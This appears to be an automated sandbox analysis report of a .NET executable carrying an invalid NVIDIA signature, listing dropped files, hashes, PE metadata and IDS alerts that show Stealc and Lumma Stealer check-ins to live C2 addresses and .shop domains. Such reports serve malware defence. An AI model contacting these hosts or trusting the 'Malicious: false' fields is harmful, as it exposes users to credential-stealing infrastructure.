File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\ljhgfsd[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	385064
Entropy (8bit):	7.988110023083548
Encrypted:	false
SSDEEP:	6144:CQuuGQX/FN5CVU03+wwybsDV3Sdmq2r5tmsz2ViLEO:vui9N5iQ5p3Sd0TmsTEO
MD5:	16F5B27C9E1376C17B03BF8C5090DB3C
SHA1:	676145AB7CA93E0463B931E6A056804B8F42119E
SHA-256:	7952E7769A991C349CC092B9CB3D1505405E793B526F49C784C343DD7D3CD227
SHA-512:	23FE6E23E80257469C09BA68B2C78EE6B3C03700E8173EFF4E2CA94964AD3AB8F2B0CB20DD01E483BF6B7D8DE1138BC946CEBBA6BEC10D78E7CCEC6DC0C3CB5E
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....f............................>.... ........@.. ....................... ............`.....................................S.......................(&........................................................... ............... ..H............text...D.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................ .......H...........0............................................................M.b.K..K.9~h.w....G).2..X..u.........&...W...`.r..I.z-@..W....y...x..e...g.O....f.&..~.vV.\...yM<..V&..z..B.).....y..-....g.*E..!T9.z...M..."...A...#..V..kj#.2....)........:r...-9\..hK<....f3u.xX....T.....+Q:.......T....X.i.v7.....Q.9vq. .M.r0..}k.t5J!..1.e..U..;....;..z.9_Y.T3?k%..L.6M....;.P.5W.'0....V.T,9wl..y....]....sj:y..k.4.$.".o.9.V+.@Re3Y..(...:.K.O#..L..X%.u..`&.1&..X{.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vdshfd[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	413224
Entropy (8bit):	7.988867781346718
Encrypted:	false
SSDEEP:	6144:O+0dGgr04h1LBuTmcYz43wUDPNvms5PYYzX3oYbEU6DsV4+1/QSyiZEO:30d/h1LBK13wUjx5QYTo0EUBVSS/EO
MD5:	2CCE29D734EA1D227B338834698E2DE4
SHA1:	41700CD1BCF5F5BCCA81CE722ED47FC17BD030C2
SHA-256:	F75ACF936390F89239C43552717EFB65C4C3190B16A7EEC62DCD0053A045E91D
SHA-512:	EA0B440113A225764B38AE2526A10F7E4F3081E4A353E9831CF0E846AC7BA97EA7C2B4A12AB6FAC5708A7855DA8967F1B6BC661757DC68D819D11887A6AF20B5
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....f............................><... ...@....@.. ....................................`..................................;..S....@...............(..(&...`.......:............................................... ............... ..H............text...D.... ...................... ..`.rsrc........@....... ..............@..@.reloc.......`.......&..............@..B................ <......H..........0............................................................R....^.G.Y..60...7~...r..f.b.xg]..s.j.{0..M....6.....{..[..@U....Nq!...+.. ....J.......2....5....QL".l....V......M@........_....)K...P.../p.wg..........7:?.C..f ....Sc...... x.n];.w1..e.$:z.d.>!.t..q....Vg.3c.h.hlWt..5...br...H.XD6...uW11v9I.\|...xJnLx......w>..>s...^.'.s2J....Y......U......-.E#).:....~...2]8...SU..f8zd.i..ns>..fx...:.U..&B....`.g...Z.L.#........03z..>..^...t.K.Y.[q

C:\Users\user\AppData\Local\Temp\delays.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	1048575
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:bjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjj/:7
MD5:	AD75853F21FFD481ED6217112F740F7A
SHA1:	D30FA864258FBF5CECF9CDA0D2F2B4A9DC0F66D8
SHA-256:	631C6A1FC139945C3965480D73B8EFA037026C56223A715080AC4541A0B98ED2
SHA-512:	D8E1D6B17F1794B0257F45785C9D7E7785EC17DBE5621E42B28CDA841662A908DD3E02BE09C564474EBC01034C1D76C82E253CAEA55372E313AB3DBA8CDA4499
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

\Device\ConDrv

Download File

Process:	C:\ProgramData\AFBFHDBKJE.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	33
Entropy (8bit):	2.2845972159140855
Encrypted:	false
SSDEEP:	3:i6vvRyMivvRya:iKvHivD
MD5:	45B4C82B8041BF0F9CCED0D6A18D151A
SHA1:	B4DAD3FFFEF507CBB78671EE620BB495F8CE22F1
SHA-256:	7CFA461ED1FC8611AB74878EDB1FBBDE3596F5D042946A42A7F31EB6D462E628
SHA-512:	B29C3696A8A311EFAF9B9709BA082FF2C8D45A6912D79BC1DE7FEEFBEF8F8DDEFCD6650B5E1165D0A79800C8AED399E2B11BC2431E3837DD8587516BDE50EAB5
Malicious:	false
Preview:	0..1..2..3..4..0..1..2..3..4.....

Static File Info

General

File type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.984604218331665
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.97% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	334'376 bytes
MD5:	10b1172549949f835f59bd598cfc4318
SHA1:	21f16130980717888dea8eb3dee30a4914749880
SHA256:	8df76c9722b5a44e7e5c42de48f4073ef42eaa814903207abdb9aa72f0ed4616
SHA512:	ed65fe280393853b9c38bb4d3f19c5b9187d2d7edb33eaf7c2f64e153ea3baefd33b0479a9f10d35dedb9f59ad3dd7f08e35e8106abb650d8cbb18d2dde9796f
SSDEEP:	6144:UPT+g0SUUOll/PbH2sY+iF6smfR3B5RlS4rJDuHbSt8OIikiIRi3EO:STH0SIbbnY+iZyxzHd1DRSiLEO
TLSH:	6E642396BB95259BC6EB8FF3A1F2D5065BF5ED4D0986C007885880E3EF48E8064E3B51
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f............................>.... ... ....@.. .......................`............`................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x45083e
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F591DD [Thu Sep 26 16:54:53 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1, O="DigiCert, Inc.", C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	13/01/2023 00:00:00 16/01/2026 23:59:59
Subject Chain	CN=NVIDIA Corporation, OU=2-J, O=NVIDIA Corporation, L=Santa Clara, S=California, C=US
Version:	3
Thumbprint MD5:	5F1B6B6C408DB2B4D60BAA489E9A0E5A
Thumbprint SHA-1:	15F760D82C79D22446CC7D4806540BF632B1E104
Thumbprint SHA-256:	28AF76241322F210DA473D9569EFF6F27124C4CA9F43933DA547E8D068B0A95D
Serial:	0997C56CAA59055394D9A9CDB8BEEB56

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x507e8	0x53	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x52000	0x5c8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x4f400	0x2628
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x54000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x506b0	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x4e844	0x4ea00	032d34407777f868b26726b523b70291	False	0.9924886973370429	Applesoft BASIC program data, first line number 5	7.99371013773528	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x52000	0x5c8	0x600	4b8724cf34813235cb4cd1a072b648ee	False	0.435546875	data	4.1152851568428055	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x54000	0xc	0x200	9bd541c18857ef7d5d68ce253945671f	False	0.044921875	data	0.08153941234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x520a0	0x334	data			0.4426829268292683
RT_MANIFEST	0x523d8	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5469387755102041

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-26T19:05:09.401137+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49735	46.8.231.109	80	TCP
2024-09-26T19:05:09.600392+0200	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.4	49735	46.8.231.109	80	TCP
2024-09-26T19:05:09.610255+0200	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	46.8.231.109	80	192.168.2.4	49735	TCP
2024-09-26T19:05:09.798013+0200	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.4	49735	46.8.231.109	80	TCP
2024-09-26T19:05:09.808866+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	46.8.231.109	80	192.168.2.4	49735	TCP
2024-09-26T19:05:10.247000+0200	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.4	49735	46.8.231.109	80	TCP
2024-09-26T19:05:10.426072+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49735	46.8.231.109	80	TCP
2024-09-26T19:05:15.671700+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49735	46.8.231.109	80	TCP
2024-09-26T19:05:16.562805+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49735	46.8.231.109	80	TCP
2024-09-26T19:05:17.172453+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49735	46.8.231.109	80	TCP
2024-09-26T19:05:17.701103+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49735	46.8.231.109	80	TCP
2024-09-26T19:05:19.418863+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49735	46.8.231.109	80	TCP
2024-09-26T19:05:19.909822+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49735	46.8.231.109	80	TCP
2024-09-26T19:05:22.918962+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49736	172.105.54.160	443	TCP
2024-09-26T19:05:25.922865+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49737	172.105.54.160	443	TCP
2024-09-26T19:05:28.085682+0200	2056162	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (ghostreedmnu .shop)	1	192.168.2.4	59963	1.1.1.1	53	UDP
2024-09-26T19:05:29.203126+0200	2056162	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (ghostreedmnu .shop)	1	192.168.2.4	59963	1.1.1.1	53	UDP
2024-09-26T19:05:29.727537+0200	2056163	ET MALWARE Observed Win32/Lumma Stealer Related Domain (ghostreedmnu .shop in TLS SNI)	1	192.168.2.4	49744	188.114.96.3	443	TCP
2024-09-26T19:05:30.317284+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49744	188.114.96.3	443	TCP
2024-09-26T19:05:30.317284+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49744	188.114.96.3	443	TCP
2024-09-26T19:05:30.349209+0200	2056164	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (gutterydhowi .shop)	1	192.168.2.4	58800	1.1.1.1	53	UDP
2024-09-26T19:05:30.836870+0200	2056165	ET MALWARE Observed Win32/Lumma Stealer Related Domain (gutterydhowi .shop in TLS SNI)	1	192.168.2.4	59733	104.21.4.136	443	TCP
2024-09-26T19:05:31.299084+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	59733	104.21.4.136	443	TCP
2024-09-26T19:05:31.299084+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	59733	104.21.4.136	443	TCP
2024-09-26T19:05:31.772519+0200	2056163	ET MALWARE Observed Win32/Lumma Stealer Related Domain (ghostreedmnu .shop in TLS SNI)	1	192.168.2.4	59734	188.114.96.3	443	TCP
2024-09-26T19:05:32.338062+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	59734	188.114.96.3	443	TCP
2024-09-26T19:05:32.338062+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	59734	188.114.96.3	443	TCP
2024-09-26T19:05:32.340574+0200	2056160	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (offensivedzvju .shop)	1	192.168.2.4	51917	1.1.1.1	53	UDP
2024-09-26T19:05:32.839987+0200	2056161	ET MALWARE Observed Win32/Lumma Stealer Related Domain (offensivedzvju .shop in TLS SNI)	1	192.168.2.4	59735	188.114.97.3	443	TCP
2024-09-26T19:05:33.277753+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	59735	188.114.97.3	443	TCP
2024-09-26T19:05:33.277753+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	59735	188.114.97.3	443	TCP
2024-09-26T19:05:33.280678+0200	2056158	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (vozmeatillu .shop)	1	192.168.2.4	55609	1.1.1.1	53	UDP
2024-09-26T19:05:33.790594+0200	2056159	ET MALWARE Observed Win32/Lumma Stealer Related Domain (vozmeatillu .shop in TLS SNI)	1	192.168.2.4	59736	188.114.96.3	443	TCP
2024-09-26T19:05:34.980565+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	59736	188.114.96.3	443	TCP
2024-09-26T19:05:34.980565+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	59736	188.114.96.3	443	TCP
2024-09-26T19:05:34.982552+0200	2056156	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (drawzhotdog .shop)	1	192.168.2.4	65535	1.1.1.1	53	UDP
2024-09-26T19:05:35.538403+0200	2056157	ET MALWARE Observed Win32/Lumma Stealer Related Domain (drawzhotdog .shop in TLS SNI)	1	192.168.2.4	59737	172.67.162.108	443	TCP
2024-09-26T19:05:36.049218+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	59737	172.67.162.108	443	TCP
2024-09-26T19:05:36.049218+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	59737	172.67.162.108	443	TCP
2024-09-26T19:05:36.068497+0200	2056154	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fragnantbui .shop)	1	192.168.2.4	61372	1.1.1.1	53	UDP
